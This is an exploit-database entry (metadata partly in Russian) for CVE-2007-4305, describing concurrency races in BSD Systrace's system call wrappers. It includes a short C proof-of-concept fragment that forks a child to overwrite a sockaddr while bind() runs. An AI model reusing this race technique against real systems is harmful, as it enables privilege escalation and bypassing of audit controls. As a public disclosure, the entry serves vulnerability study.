Exploit Systrace - Multiple System Call Wrappers Concurrency Vulnerabilities

[Exploiter]

EDB-ID

30484

Проверка EDB

1. Пройдено

Автор

ROBERT N. M. WATSON

Тип уязвимости

LOCAL

Платформа

BSD

CVE

cve-2007-4305

Дата публикации

2007-08-09

source: https://www.securityfocus.com/bid/25258/info

Systrace is prone to multiple concurrency vulnerabilities due to its implementation of system call wrappers. This problem can result in a race condition between a user thread and the kernel.

Attackers can exploit these issues by replacing certain values in system call wrappers with malicious data to elevate privileges or to bypass auditing. Successful attacks can completely compromise affected computers. 

struct sockaddr_in *sa, restoresa;
/* Set up two addresses with INADDR_ANY. */
sa = fork_malloc(sizeof(*sa));
sa->sin_len = sizeof(*sa);
sa->sin_family = AF_INET;
sa->sin_addr.s_addr = INADDR_ANY;
sa->sin_port = htons(8888);
restoresa = *sa;
/* Create child to overwrite *sa after 500k cycles. */
pid = fork_and_overwrite_smp_afterwait(sa, &restoresa,
sizeof(restoresa), 500000);
error = bind(sock, sa, sizeof(*sa));